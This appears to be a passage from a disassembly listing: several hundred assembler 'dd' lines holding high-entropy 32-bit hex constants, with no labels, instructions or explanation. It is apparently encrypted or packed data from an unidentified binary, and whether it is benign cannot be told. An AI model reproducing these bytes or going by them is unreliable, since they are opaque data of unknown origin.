		dd 0E29B4F8Bh, 0E5480CFh, 15994306h, 405640DDh,	7888AABDh
		dd 435C6AD4h, 60146537h, 380C3C5Bh, 8E81C03Bh, 3B93FFA2h
		dd 6FC73E7h, 61DC6662h,	77F56454h, 7C6140F7h, 96EEB6FAh
		dd 393E23C7h, 80CE6B56h, 0AF6EE388h, 70D8D2BAh,	881B7C1Bh
		dd 4E0998CCh, 770261EBh, 60FB1208h, 0B317E292h,	0FEBB09C2h
		dd 2EBBB236h, 80D14E6Eh, 176CAA7Bh, 0BE6E0133h,	845E9B08h
		dd 3870E4C0h, 0AA96C6D4h, 0E46F552Fh, 0A90663E3h, 3F9C11CCh
		dd 562BB08Dh, 4A2371h, 40E67285h, 0EBE7B443h, 4EEA9768h
		dd 0F8F6F5F5h, 0E475D95Dh, 27F188EEh, 53F5037Ch, 7F35B877h
		dd 568202B4h, 9E597598h, 83E31BB6h, 48BEFD0Ah, 0EE1574E0h
		dd 4127C383h, 0CE683CC1h, 0F3BDBEEEh, 93CF502Dh, 5C9B8C7Eh
		dd 0E5F756A4h, 0F412E474h, 0C437BBB4h, 5A70FD6Bh, 0CED48940h
		dd 54D8D6F8h, 6B3D8440h, 55334671h, 0FAB04A98h,	67BB7C75h
		dd 13F02615h, 0ACA499CBh, 19BEF402h, 846B463Ch,	7849AB23h
		dd 0A934BD7Ah, 2856D29Eh, 0E3231ADh, 0FE30F395h, 0D65594EFh
		dd 0E1EC4C21h, 0A863D090h, 0AF2E1FD6h, 616320CDh, 7A8F8B02h
		dd 7A0E9950h, 356E1BDCh, 1522005h, 2A3F77A6h, 47E7EC6Bh
		dd 0B8F60689h, 6B443996h, 79372448h, 4A86B952h,	0C9FF70C1h
		dd 5BA90A73h, 0DF7B33B9h, 0DC749FADh, 757669DEh, 0E3D0219Ah
		dd 4A21B870h, 3DFF1A99h, 3511FF49h, 9501C7AFh, 878076F0h
		dd 8CE29EBDh, 60CA3D20h, 47A0F37h, 67B59A60h, 47C55F6h
		dd 229B530Dh, 76ADA0C1h, 13A818ECh, 0FEBDA58Fh,	870C80A1h
		dd 30904A0Ch, 0CB253231h, 3623840Ch, 0FA6B56D4h, 51436899h
		dd 1E0BE7C4h, 0CA2F9C6Eh, 12F822B7h, 92CE0621h,	3080D6A5h
		dd 84543AD8h, 8C0B6A8h,	5AF8FFC4h, 0F26F0068h, 0E56146C1h
		dd 7E048917h, 0F216E3DBh, 0E4B732F8h, 92E7700Eh, 0CE91B8B1h
		dd 7335619Eh, 35A11F84h, 0A7323132h, 184786F2h,	0DC50A87Ah
		dd 0AD41517Dh, 530478D9h, 3F8CE423h, 0C6AA05F1h, 44FD9EBEh
		dd 188DCBF7h, 3CE02091h, 0C20D10D6h, 2DD9E646h,	0E2EBD535h
		dd 3EE44C45h, 856527B9h, 0C3323177h, 0D72F76B8h, 558AFF6Ah
		dd 28233FFFh, 0E5703DA9h, 0D12B2777h, 0F45B689Ch, 0BFD82592h
		dd 0D57EEBC1h, 8818F960h, 8F400B8Ah, 0F10ECBh, 0A86BD522h
		dd 6EBB845Ch, 2C4CE15Bh, 598EC5E0h, 0A913F76Dh,	0AC58FEEEh
		dd 15815BFFh, 56BBBDD9h, 0DD2C0EB7h, 5182FEF0h,	7E55A2EBh
		dd 0E1983F96h, 0AD3F0070h, 178E565Dh, 0A274153Eh, 0B60A2862h
		dd 9464A065h, 16ADBE18h, 0BF418175h, 318866A8h,	0AC090B32h
		dd 94B5863Fh, 0F20AA966h, 9854ABD8h, 254E3672h,	0C2234F23h
		dd 3E369495h, 254CA901h, 5D54B91Bh, 64490385h, 3A78E146h
		dd 14DBFC16h, 0DC91C1E3h, 44390CC6h, 0D0E6940Fh, 769342FFh
		dd 0F8A28056h, 6042AF52h, 14260252h, 1113C2DBh,	5CD7593Ah
		dd 5798372Fh, 38C7859Bh, 1355FD5Ah, 0A4672DB1h,	0B552FB11h
		dd 27D9580Ch, 0B5F01752h, 0FFE4C21h, 0C0120DDCh, 0E94BEAB0h
		dd 0AF8758DAh, 0F4ADA94Fh, 0E7CBB4C6h, 11F7DE82h, 96AABD8Bh
		dd 8BFF3CC0h, 0C25198F6h, 90FD2CC6h, 1B27E45Fh,	0B5B8F196h
		dd 55852306h, 0CB30998h, 11ECE002h, 3C3641D9h, 998BC5F1h
		dd 4C9E8D4Bh, 0A3844660h, 491FA3CFh, 2232A4D2h,	0CDA61C0Ch
		dd 4697F759h, 3622F3A1h, 0C2C17699h, 323115C2h,	2DE2076Dh
		dd 5EF49FD4h, 44663DF4h, 85345AF8h, 0AFF3A10Bh,	0BB6CB227h
		dd 0DEF68CFAh, 7C179797h, 0FC0C97B7h, 0EDE18E51h, 0AB0B94BFh
		dd 0F03608A0h, 9BB6D173h, 0A8D7F2B0h, 10FD3841h, 9ADBD56Eh
		dd 5D456ABFh, 0FBF7F939h, 0F6ABCD9Dh, 1A1A3687h, 975E9B06h
		dd 0F12CBC54h, 20D1B1A2h, 0AFA42A2Ah, 0A5325BC7h, 2C6FCC14h
		dd 4BB5467h, 1426A3Ch, 0ADE51632h, 705C36E4h, 4A9815A5h
		dd 0AD19B94Bh, 0F2B7DA58h, 0B4A8E03Fh, 0F10F0452h, 0BB45A82Bh
		dd 0BA7CAC24h, 111C3F6Ah, 5E1677E9h, 16ADEDEEh,	237F488Dh
		dd 19A581F2h, 0B82A5B92h, 0BABEB310h, 2BE82E69h, 0FE4B08F5h
		dd 7076FAFEh, 11B1D4BDh, 821092DEh, 2BD65016h, 43777DEDh
		dd 0B2723231h, 2CE9192Bh, 0C32BB6D3h, 4968E7Dh,	49F3AE9Ah
		dd 0BC37675Ch, 6AAB56B7h, 60A80FE3h, 2DB41942h,	0A7E7B78Fh
		dd 0AAA264EDh, 2FCB7C06h, 0DFED5E37h, 7D6E7399h, 99898389h
		dd 23D38307h, 722EDB75h, 0F4F5D00Dh, 4F14AED1h,	6DD1E74Eh
		dd 0DE12D9C8h, 6AEB37A5h, 0BA37B70Fh, 13EC44BFh, 0E577A9CBh
		dd 12610EEFh, 103EBF74h, 3E4F9D72h, 0E1D3E39Bh,	3C32828Ah
		dd 50086470h, 626110B8h, 8F7BB79Dh, 7115EB19h, 0EF46A726h
		dd 34B35239h, 868620C5h, 59A7F589h, 380E3B11h, 5A529C88h
		dd 0EF45E259h, 0CE0D5499h, 0BCEBD5FBh, 0D5B99644h, 0BF2D5D96h
		dd 0C8E6F02Ch, 1B1227FAh, 0C823EDFh, 0E4F94F0Eh, 0F840EFEFh
		dd 0D029FF42h, 0BD079D18h, 0D634FE06h, 0EB22240Ch, 0DAF8E0C1h
		dd 7FC2DD96h, 73454103h, 705A5B53h, 0CC282199h,	0CB522247h
		dd 86111C60h, 1BC9A615h, 3A7B4BAh, 0ECF08F17h, 0BC25BF01h
		dd 3A77589Eh, 67FB0E20h, 7FBCE3Fh, 8F45F2C5h, 0FBEEDD93h
		dd 5200D916h, 0BB904FF6h, 52FBD852h, 5B245162h,	0F0FE3286h
		dd 0F98C68AFh, 4E76B8A5h, 66D433ABh, 0F1F2818Dh, 10596A82h
		dd 0F3B49B46h, 861E46A9h, 7416C267h, 0A4102602h, 36D1A876h
		dd 9A40EC5Ah, 0FC255E46h, 955FA82h, 1DCEA796h, 0FB7E5000h
		dd 5947C759h, 0CDE843F6h, 0BF11987Fh, 2A94E307h, 5AD8EDBAh
		dd 0B4A4A048h, 242701A1h, 98F45C4h, 64D16681h, 52C479C7h
		dd 0DF5F33D1h, 0AC3E0CAEh, 5F1FB8C0h, 0BF922CE2h, 839A3D3Ch
		dd 477ACA64h, 0EFAC923Eh, 787EE785h, 0CA520AC9h, 3D8E41C2h
		dd 22F836C0h, 34B40FC7h, 9159B5CFh, 657A013Ah, 0C3F9851Ah
		dd 794FFC07h, 0C9C44C57h, 73B2EE4Bh, 0C01E26BFh, 6F644398h
		dd 0A16467F4h, 74451EA9h, 0B1CAD3FAh, 3D8795B0h, 31D84C10h
		dd 18F69532h, 0E81C72A4h, 8568995Dh, 6CE28906h,	88A0507h
		dd 0CA4CEFFAh, 818009EBh, 0B7063231h, 0C9AD4F1Ah, 0FACF3231h
		dd 630EAAF6h, 2DAA37B9h, 0AACF12FCh, 64C5D4F0h,	0F56605DEh
		dd 2C1FEF21h, 0F37B25F7h, 81CD7869h, 0CDA884D7h, 0B9D8189Ah
		dd 631BDB7Fh, 693B5CACh, 747C5972h, 4F99DF82h, 0DB6783DDh
		dd 59AC99CCh, 26A80B12h, 688D3469h, 7C95DA43h, 0F21BD5C0h
		dd 654DA6A9h, 1D145BCAh, 20E8BF82h, 4527615Ah, 5376217Dh
		dd 0B3AFA89Ch, 71A1EDF3h
		dd 1CD3EDDDh, 0D3999A3Eh, 95492555h, 85DE45BFh,	0BC90F755h
		dd 0FAA7C539h, 0D18D4005h, 6C5A8C97h, 0A9D4AA40h, 0A4B83A24h
		dd 0E6C72890h, 92D24986h, 1673DCEAh, 3DF680B6h,	66B1EC8h
		dd 397CED8Fh, 73B23386h, 0C7646EA3h, 68C85582h,	5D89E3B4h
		dd 525A428Eh, 0FF434787h, 91467B81h, 2850A4B0h,	7BB473EFh
		dd 324D1DA3h, 85B900BBh, 279F24D7h, 0B78EF9B4h,	0A08ED10Ch
		dd 0CBDF3558h, 585613F5h, 522DBF71h, 0F05736F7h, 0E8CF10FEh
		dd 0A71FB49Dh, 0EA610A76h, 0E68A4B27h, 537B4B3Fh, 6C162957h
		dd 3F800CD0h, 225FCAC1h, 0C1CA6D0Fh, 0F7549998h, 6E750ECAh
		dd 0A9EEC7A9h, 0D2A98451h, 9A184803h, 0C403D0DCh, 240D9DC2h
		dd 362386DCh, 0BEDD1835h, 49574CF4h, 4A2C2BB1h,	8C1840EBh
		dd 3231801Fh, 64D21727h, 0BBBD9FDBh, 0D01A3412h, 6D0EF1FDh
		dd 8965FABBh, 67F67A82h, 0FDC777B0h, 2B1C42E7h,	8BDAA3B4h
		dd 353F75A0h, 176F828Ah, 43444E15h, 63582212h, 0F0C3741Bh
		dd 86F8279Fh, 33032C38h, 0FDA37854h, 0C23D98E1h, 5F8AED12h
		dd 32310E9Ah, 2CDA43DFh, 0A556715h, 181580EBh, 30F62BC6h
		dd 7247C85Eh, 0E615C236h, 26214A2Ch, 0DD0DCF19h, 4018BF53h
		dd 0FE96C5F1h, 0CBB44D7h, 4856EC53h, 0DE7B4E1Bh, 18E671CCh
		dd 0A522C2B3h, 0CF4FD085h, 1696BFF7h, 20E7AD49h, 8A7F230Dh
		dd 0AB7E11B8h, 61CAA26Ch, 92781309h, 616C640Fh,	0D5AB1CAh
		dd 1ECCA562h, 0F5DDF92Ch, 0F738056Eh, 1D6AE547h, 0F8C2D458h
		dd 2F51354Eh, 29A58B61h, 0AC9E5869h, 726675ADh,	3231ACC7h
		dd 0A0456556h, 0F1F14B0Eh, 4A7A86Fh, 7AF14D42h,	835A59FCh
		dd 9BED4C65h, 76C3F5Fh,	0C2D4433Ah, 0DD0B2F04h,	1E1059C5h
		dd 0BB5943E7h, 2819AF04h, 31568E1Fh, 0B7ECBB32h, 0E2D36D0h
		dd 5289746Dh, 79182BE1h, 6128EE05h, 612C4390h, 0BCF92637h
		dd 76982D0Ah, 45137BADh, 0B2325CA0h, 0D4052B8Eh, 64512EA8h
		dd 3D1D99C2h, 1C25CD4Eh, 8F2D3E61h, 0F5E4745Ah,	8FE7125Ch
		dd 830AEFDBh, 447445C7h, 0CAB56C65h, 6E5B7CFBh,	0E4F365C2h
		dd 49101F91h, 7706511Eh, 2513B058h, 18554E32h, 0B32E14C5h
		dd 4DAD1DBCh, 1126A3FFh, 112EF379h, 8496D067h, 6D570358h
		dd 51E2C88Ch, 0AB922BD6h, 3098D263h, 0DC5F561Fh, 0F9CA5B77h
		dd 0D35AB72Ch, 3FD972F3h, 9F6A12Fh, 0C70D9927h,	0D9247893h
		dd 547CF9Ch, 2B3B2EC4h,	0AD405806h, 81D26E1h, 0D4D1F576h
		dd 1DAF2EE7h, 42533ADAh, 2D494E42h, 36222082h, 0DD2A0623h
		dd 0B5437696h, 3BA2248Dh, 0B700278Ah, 608D3A9Dh, 81C2AB93h
		dd 49D6092Ah, 8DE1B34Eh, 746594Ah, 0EA9C4E13h, 31536084h
		dd 0A7438532h, 20ACA36Fh, 0FF0755D1h, 6E2F92CCh, 8EB8DE1Ch
		dd 2E094AB7h, 9F34F7FAh, 64034CB7h, 802D499h, 0D1740A28h
		dd 48D40713h, 5581E983h, 0D626905Bh, 0E95201FFh, 52E8764Ah
		dd 654D34FBh, 1C457946h, 0D2C9ABEBh, 0B46A3040h, 0D100EE2Ch
		dd 1FD5C313h, 0ED7FE27Fh, 6F89B63Eh, 202EB7E4h,	8E1D8EF1h
		dd 0F7519061h, 7B4CA9FAh, 0F52DBE10h, 134C11BFh, 0D093F6AEh
		dd 63D6511h, 4B80F1DCh,	0DFAC2008h, 0B01A0286h,	0A66AEE35h
		dd 896F62CBh, 48CCB6C2h, 1AEE2D65h, 7001AA3Fh, 183D0E1Dh
		dd 0E68E0C78h, 62A8372Ah, 59895AEEh, 932AAF70h,	518FAB3Dh
		dd 30602080h, 0D6B7028Bh, 0F3E3B7EFh, 0B99CA1F0h, 2FF48BDh
		dd 9670D61Bh, 6DBE237Bh, 0FD0920Fh, 0A188BBCBh,	0E4108CACh
		dd 1CA149BCh, 0CABFEDE7h, 98096903h, 0FBA2A832h, 0EF2D84AAh
		dd 0C9A01CF0h, 0EAD1B2Eh, 0EB8A54E6h, 87027B70h, 0E830225Eh
		dd 0EB3013CEh, 0DF5B593h, 0C6D7EC9Eh, 55FF251Bh, 77F4C020h
		dd 90D4EDFFh, 0D7BCB1CEh, 3AB015BFh, 209AB9FFh,	69A499D8h
		dd 668CC585h, 6F70024Ah, 43DC9357h, 0A569EAF5h,	0D9AE08BEh
		dd 501A9DB8h, 4BD2F093h, 0EB1D7D23h, 91011F3Fh,	13487AB9h
		dd 70303231h, 41FF6EBh,	8A9EA7CEh, 49C2D23Bh, 0DC7E5582h
		dd 17ACBBE7h, 47B65149h, 66F6D64Fh, 5167C76h, 5E76B3A5h
		dd 0E013BD3h, 5ACEAE6Fh, 4D995B1Fh, 82C120E9h, 0BD3897B0h
		dd 6A65886h, 0C336A495h, 2BCC9A6Fh, 0EF40D219h,	0EE2A8475h
		dd 163072h, 0A57E71Ch, 0AF51BC81h, 24B0E11h, 5529C451h
		dd 2DF3B5EEh, 1FB1F356h, 719B8468h, 9533B8E3h, 0D5976080h
		dd 48096D62h, 0F12A01A0h, 1E7CF35h, 8A2E9F5Eh, 0B784415h
		dd 0A53DB1CAh, 617FDA81h, 1859DF07h, 3BE46327h,	6F2D1A0Fh
		dd 0F24025EDh, 8E35250h, 63F317EDh, 0D46EBD22h,	8BE9C3A2h
		dd 236D12CCh, 0D3C06C63h, 0EAA1AEE1h, 9D323165h, 2BBAE54Eh
		dd 0DC0798AEh, 0C01670Eh, 23A93DFh, 0E0212DF4h,	0A922060Ch
		dd 9C0EB6C2h, 0CF640B8Dh, 0BE5B941Ch, 7E92B43Fh, 0B6B99CFEh
		dd 43911B1h, 0A4FF3617h, 718C700Eh, 0B53D1182h,	0FDC86D15h
		dd 0F1912780h, 342B631Ch, 5CAE0C68h, 0D2DCD963h, 30304A32h
		dd 0FB05C179h, 0FF729EF1h, 0E9408444h, 0B27514B6h, 84AF2F81h
		dd 9267EEB5h, 7E26D814h, 6AE92632h, 0ECDA851h, 4BE5C56Bh
		dd 5F9A5D77h, 0CAB861ABh, 622BF3FAh, 4DCA45C8h,	0F931FB2h
		dd 9696FFBBh, 0B255B024h, 1DEFD716h, 0E6D6CDA3h, 93A4BC69h
		dd 564B0DE3h, 4CE6A146h, 89C6B8B6h, 7C4D1AEFh, 0BBDEFC6Ch
		dd 0EA9124F3h, 0C03DAA34h, 0BBC69BC5h, 1EE4C2B4h, 0A6BABD7Bh
		dd 0C585A816h, 8FB76376h, 2DC1D0C7h, 0D9C06546h, 9C103C9Dh
		dd 0C1083CDAh, 7F290249h, 0A63DEE6Dh, 58AEA4E2h, 0DC7AB123h
		dd 0AE7BB465h, 256CFD27h, 0E9E70C0Ch, 3D640BE0h, 0F592B4A8h
		dd 0E502EF3Bh, 0C81AD2A6h, 821088Ah, 0DD93E935h, 0AA952443h
		dd 6EE63231h, 85246852h, 0B29E1805h, 3AB3D66Dh,	9CEC35F0h
		dd 0F061830Ch, 0AAD64418h, 0E39B9121h, 78D45913h, 742C8202h
		dd 63035BCCh, 9A5077FDh, 0EE2BDF42h, 0ACD1B60Ch, 0C46199B8h
		dd 0A19BFB3Dh, 4CEF926Bh, 56D856F3h, 0F429956Ah, 0FEFA38D4h
		dd 0F03F34DCh, 0B90C9A19h, 209C3CB4h, 1C7A7419h, 0D91D99DCh
		dd 0BCE352E7h, 0F5088165h, 0F1B453EFh, 0B82F11F1h, 6BA7F490h
		dd 0A2EE8A7Ah, 603DB79Bh, 934D5100h, 6AB1E7A5h,	50BCB9F2h
		dd 0CA67DE61h, 5C9BB2FEh, 0FDB17521h, 0C07A1EB2h, 945C7AF5h
		dd 227D7F6Bh, 2FFBCAC6h, 737E6CD0h, 9A78C256h, 3231FDA2h
		dd 1659D36Fh, 66606CDEh, 0F3DB5391h, 0B785D8F0h, 0DAB5CF7Ah
		dd 0FA0555BFh, 948BC6FDh, 0F753086Ch, 3846D64Ah, 4D85F5FFh
		dd 462AEC10h, 9DA96C67h, 0BD04EF97h, 0EE1830A6h, 0A118A37Dh
		dd 28C55980h, 0D1DB9244h, 0D46ED632h, 0AB3FD837h, 0B6172E11h
		dd 6AC2D32Fh, 65937A49h, 0F67FEB77h, 4E8083FFh,	0B7C6C6A2h
		dd 964F0D35h, 332313Bh,	217CD615h, 56700975h, 4DB30FB0h
		dd 738D5589h, 49ECC955h, 1F9E08EFh, 0DABFD360h,	0D1781EF2h
		dd 0E1687A8Ch, 0A79A2E0h, 309BB762h, 535F3E38h,	57F03AC2h
		dd 0E824467Ch, 0BFCCFD53h, 1DB1601Ch, 0F86755E7h, 0C61E9358h
		dd 31B7588Eh, 62E63C32h, 87101582h, 72FB9D76h, 39ACE549h
		dd 47306480h, 0B21450h,	54C9B63Eh, 0F4096Eh, 0E0CDC64Ch
		dd 9C22BF98h, 0BABF74ACh, 0CC59D881h, 6D4475F1h, 853C1609h
		dd 0E3BF4126h, 1FBBF8DEh, 22F1E9C7h, 0FA3B9276h, 36FBB4Ah
		dd 94E8348h, 20118206h,	82C8ECEh, 1599F611h, 387CF357h
		dd 2C1F3319h, 572E2047h, 0B40637CEh, 3EE164D3h,	0D6986D6Ch
		dd 0CC4CD6B3h, 0D739D607h
		dd 0ECE45FDAh, 14FC6442h, 3204EFCDh, 0E96DD1B8h, 0C15E6B90h
		dd 0FBECB8D4h, 3AA4EF22h, 549B5F11h, 712EA23h, 0F5B47CEh
		dd 133D5617h, 7F32B0Ah,	0F26A8D14h, 0A7EB4414h,	0BCAD1F06h
		dd 0CD323177h, 46A56E18h, 6BA5C21Fh, 0D7F14A1Ch, 0AA543536h
		dd 0CA22B7DCh, 0F3DB3BE8h, 0E95AFFBFh, 89D0170h, 0A62B0117h
		dd 0F9B85011h, 0F442F4F0h, 0F30D162h, 0DB323197h, 315CBAABh
		dd 915E1932h, 2241F940h, 65276F01h, 883B0F7Ah, 5D4D2A4Fh
		dd 150355F7h, 0E151D3F5h, 0CCBF6F1Eh, 4AE96864h, 0A3D4F3E3h
		dd 269F93E3h, 8CDE864Dh, 758119E3h, 0C254BB70h,	48AE038Fh
		dd 9161B834h, 0FFBC9DD4h, 4B7E473h, 8B7D4D6h, 6C614CEAh
		dd 3D8DD2F4h, 0BB1436D2h, 82B1821Eh, 0AF5A4B50h, 4B1E2671h
		dd 2D1E39D6h, 0AC434945h, 0BB0ED61Dh, 485FC398h, 53A83231h
		dd 4B177B3Dh, 0D567D6C1h, 0BC64D790h, 0F3E976Ah, 51344CDCh
		dd 78ABC7FEh, 7C68A0E8h, 3E6B16C5h, 0F6216ED0h,	0E88DB844h
		dd 0CD936325h, 2DC39774h, 5EF64C52h, 52BA525Dh,	0E0109BA7h
		dd 0B13A30B8h, 4E6F90E9h, 9194CAF2h, 0E24B4FAAh, 0DF2C335Ch
		dd 0C29A2C01h, 0E35BFDB4h, 0A49D2DD5h, 35F5AC87h, 0DE43E932h
		dd 0F2EEAA1Bh, 0AC623231h, 6086711Bh, 1D80D1FEh, 3F9CF450h
		dd 7AEE397Ch, 320939A8h, 0C662BC20h, 719EC4E5h,	49C07273h
		dd 0D208FAE2h, 897250D2h, 3E879039h, 59CE504Eh,	0B029C9A5h
		dd 0B6A9D3BDh, 1001895h, 0D5F81189h, 639DCB65h,	4488B97Dh
		dd 0B10210A6h, 0BF590D27h, 32510B6Ah, 3A9D46ABh, 61EC9E72h
		dd 75B05CAEh, 0B02DDF8Dh, 8C253097h, 4BDA32C0h,	10925B40h
		dd 412086DBh, 0E2FBD6D6h, 5AE7A67Eh, 816EB77Ah,	0C4B3CA3Ch
		dd 0DC0927E4h, 6D569B9Eh, 7736D68Ah, 62D924EAh,	3B50529h
		dd 456678C2h, 0D8F15411h, 0CBC1831Bh, 399157DCh, 0D18B5328h
		dd 81CD919Eh, 0A58D6FA0h, 0DFF04847h, 0AE55AA91h, 1EB984A5h
		dd 850CCAD9h, 0E39BB2CDh, 5A77C4Bh, 0EDDF777h, 4CC1030h
		dd 235751CDh, 32C4A61Ah, 9C53F0C2h, 77EE3BAEh, 81FDE59Dh
		dd 0D5E4C0C4h, 1ED2485Fh, 0F4763231h, 122CA29Bh, 0CB4FF363h
		dd 551B06F6h, 6745641Bh, 0DE69DBE4h, 1CC0D009h,	11A79B77h
		dd 6E8AE48Eh, 52D3F95Ch, 0FE08EA72h, 0B4B433CAh, 0B3566374h
		dd 6FA2EA14h, 3A36F528h, 5917F3E0h, 0CF9F211Ah,	10C46E6Fh
		dd 0DD19DD4Ch, 0FC4A4854h, 11E69E3Bh, 7022D922h, 82D2ED1Bh
		dd 55113F85h, 0E45D9C79h, 3676A75h, 519C3231h, 0F954034h
		dd 22247A9h, 55425894h,	7F81026h, 3491BE70h, 0CBEF3D3Bh
		dd 0D1A7EF54h, 0EACEBF40h, 46CB5D4Dh, 0DDFA0538h, 0DD4E93DDh
		dd 849F2E4Fh, 95CE792h,	453D570Eh, 5320935Eh, 806F3200h
		dd 100F2286h, 8F670D7Bh, 82308022h, 9D029A88h, 87AFA469h
		dd 0C3733231h, 69056FC4h, 7065B595h, 0F8BA44A2h, 5558900Bh
		dd 570CAC9Eh, 7B9D0EE7h, 0B74A7054h, 9E784EC3h,	0FF6663B4h
		dd 41C4594Ch, 792651F2h, 8DB4CB8Ah, 4FC9A691h, 927CAE73h
		dd 0DDE24C4Fh, 9037ED64h, 0C199810Ah, 380A0233h, 0E9196A6Ch
		dd 0C4FD84BFh, 4EA04965h, 379919C0h, 0C83A2F99h, 5B7C9DF9h
		dd 0C747BC42h, 7F815A4Dh, 49C0F013h, 0F83413D7h, 0A4E9F7BFh
		dd 6E86A3ADh, 0A6E59686h, 0BEFF49EDh, 3070BBFFh, 33425287h
		dd 41B048F5h, 6BBA7942h, 1191E3F9h, 329E529Fh, 89A299AFh
		dd 329C40FDh, 93A36D34h, 32C06A4Fh, 0D9F78148h,	19970026h
		dd 0C6CFB633h, 0C45265F7h, 520C4464h, 27054E9Ah, 0EBC5DB0Bh
		dd 957CEEEAh, 0FD0C0839h, 0CEC63528h, 3B87BA77h, 560D4237h
		dd 5F2586C7h, 38186FC4h, 354C7892h, 65A76EE6h, 0C99F8779h
		dd 0C077E433h, 68C3541Dh, 63D53767h, 0E8877C45h, 357B552Dh
		dd 0A35AAF4Bh, 0A5E27E11h, 841C9243h, 4151AE64h, 643B539Ch
		dd 0D1BB856Fh, 0F1BC3D2Bh, 0B20BB302h, 6C7969E3h, 3CAE74BAh
		dd 60B4416Ah, 0FDDED029h, 0BAAD644Fh, 1D33C7C7h, 3FDD0A21h
		dd 0D826C4D3h, 1D8B92C0h, 9C2BCD11h, 5FC439A9h,	0D8D9665Ah
		dd 0C235755Ch, 7CE5C093h, 80029A0Fh, 0D819C696h, 72B9E268h
		dd 60506F8Bh, 1E0651FDh, 0DB3A2475h, 0D56A7027h, 5B95FA46h
		dd 321EAA84h, 0B98486E7h, 0D43A8522h, 0C4370D3Bh, 0EE7A2DC7h
		dd 0F5A6292Ch, 83DC2D7Dh, 0C41F3231h, 25AB2AF5h, 0F048EAF8h
		dd 0D111748Eh, 0A37F2B0h, 1874047Ch, 92B8655Dh,	0AA81CF61h
		dd 99E8F3BFh, 0C50623C7h, 31ACA1D2h, 734BBC32h,	657D8D54h
		dd 893D0C25h, 0EAFF7B73h, 0AF837F8Bh, 68CD9F06h, 0C42128B3h
		dd 0ADFF7788h, 73088409h, 0B58E8C63h, 1C5D7540h, 7CF4B417h
		dd 61168A66h, 1BB2C3DCh, 0D1658C53h, 0F634264Ch, 0DC8345BBh
		dd 0A084F755h, 62DCF9E7h, 498034F9h, 72D3DD34h,	0D7CE27C5h
		dd 4AA686F5h, 0A012E86Dh, 0BEB08821h, 0A34F5584h, 435ACC6Dh
		dd 90A7F1D1h, 93223288h, 25E74505h, 221A5FC8h, 224CAD88h
		dd 218E5917h, 0C55A76A7h, 60550694h, 921345CFh,	0F7BE7434h
		dd 4999732Fh, 0D2BD6401h, 6A403F84h, 563390BFh,	0CDEA4B6Dh
		dd 0D3CE1EBFh, 0DCDB93Ah, 32310EA9h, 7F2AA6FFh,	62BD84E9h
		dd 0BADF3752h, 47A9D189h, 0B07890CDh, 0D3621FA4h, 1DCDD6C1h
		dd 0E9DC206Bh, 17340B7Dh, 11710A9Ah, 91521583h,	72C2F972h
		dd 983851D6h, 34A76703h, 767A3CA3h, 7FA37B71h, 14E65552h
		dd 0A3F883ADh, 0BED9BFC0h, 0E83D320Ah, 0BF76C52Ch, 0AEDBF116h
		dd 655CAADEh, 9F447AE5h, 0B0AE5DCAh, 113B1F9Ah,	1754E2A3h
		dd 57227D26h, 0A7160F14h, 0C7A5F4C8h, 0B3D4C978h, 579164DFh
		dd 90B91CA8h, 0ADAA6332h, 908E0324h, 0A303B621h, 30F710C4h
		dd 0BA5E0040h, 0B9ED0C27h, 0A09FE333h, 35AC7F13h, 0DDF2FA1Dh
		dd 33239FBh, 1654D330h,	0A7E12A84h, 9DB60F3Dh, 389D9F32h
		dd 929533D3h, 0FB9A6A73h, 0B9BF0432h, 1086227Dh, 0B517C0EAh
		dd 0AA07C3Ah, 80C77C3Fh, 0EAB7EB6Ch, 84DD3231h,	0BD3429E0h
		dd 84BD8CE6h, 37E2C2E1h, 0BA48F4A3h, 892AD50Ch,	4715DDDDh
		dd 96FAE13Ah, 7E0CBB26h, 92300310h, 0ACE0782Fh,	0FE4BDF3Ch
		dd 885707EFh, 4BA3B7FCh, 0DA61198h, 16440CD6h, 0B01A2DEAh
		dd 22EC74A1h, 32C3C4C8h, 614E1715h, 4A6EA627h, 62A21AF7h
		dd 0ADFC7261h, 9663160Ah, 0B720CEB1h, 234C7542h, 39403231h
		dd 4419265h, 7DDC1290h,	404F4A0Ch, 0B258CA6Ah, 0FD0074F2h
		dd 6228C648h, 0BA6192D3h, 3E1966F3h, 44FD2C2Dh,	6ACBA6E5h
		dd 0D04FFA4Eh, 0B8EB93C7h, 20DD38D6h, 9CF18D79h, 91487CCBh
		dd 6D79E11h, 1DF091h, 71955A69h, 0E3D4FA9Eh, 8D68C29h
		dd 63903B1Ch, 0B617E59Ch, 0F3E75970h, 9776A796h, 95C5577Fh
		dd 4DE16F4h, 0EE30B624h, 45BAC849h, 6C97415Dh, 89B5F9A5h
		dd 31238C50h, 0B8E44432h, 0ECD1A37Fh, 6254F94h,	539E44B5h
		dd 585E83BEh, 0C9B91C3Dh, 0F69EFC4Dh, 0CA3F2490h, 0B6A6A441h
		dd 8069E066h, 0B352749Ah, 0DC65F8Fh, 86E9C79Ah,	7C59B2CFh
		dd 0EE55285h, 84EA9029h, 0B977D25Eh, 3A229F4Eh,	0D5735D36h
		dd 31343231h, 9B3D8F32h, 5A2900ABh, 0C4125ACh, 57E67F48h
		dd 0DF2C7BC7h, 5A21D0D2h, 212CCB25h, 0A92455D9h, 10151E48h
		dd 0AF0C6412h, 0B81C0496h, 0D6DBCA29h, 0D8ACA147h, 0EBEC6A04h
		dd 9BA58E6h, 7E4805E9h,	634A337Eh, 565627B9h, 0FBC4E417h
		dd 97799E50h, 0CCF11024h, 7D40DB1Dh, 41B48EECh,	116B953Eh
		dd 7097111h, 3F5C9BB3h
		dd 0ADCF2C97h, 0C4DC1D81h, 0D9043B16h, 65F8B4DBh, 24963C00h
		dd 7D786AB9h, 903E9B57h, 62AFDF5Eh, 0B5721387h,	47C17418h
		dd 2A4FD83h, 8D61A674h,	0A90AA9FDh, 648D885Dh, 3A5F9D98h
		dd 359F33BFh, 855E9A52h, 7EFED3F4h, 9E158391h, 0B6FA72ADh
		dd 0C542FAF7h, 4DE89091h, 0BC46CADBh, 0B57A41CDh, 0E5D28666h
		dd 1F7BD5Dh, 70FE0A93h,	56A20AABh, 0BF2E4C53h, 0D1686033h
		dd 10DF5EDFh, 908B8C8Ah, 3041347h, 743892BCh, 8118189Ah
		dd 0E7932125h, 819D4214h, 7C3E54B6h, 9A516413h,	0B02CC101h
		dd 0ABF108Dh, 9072CDE5h, 65E8CEA1h, 7E4D78D0h, 0E4EB38A5h
		dd 0F802A0CAh, 0DF3FD80Ah, 234E6B1h, 8777B28Eh,	33EBCB08h
		dd 5686A3F6h, 7D306AB5h, 7446FD17h, 0F174F0FEh,	0F2B47B7h
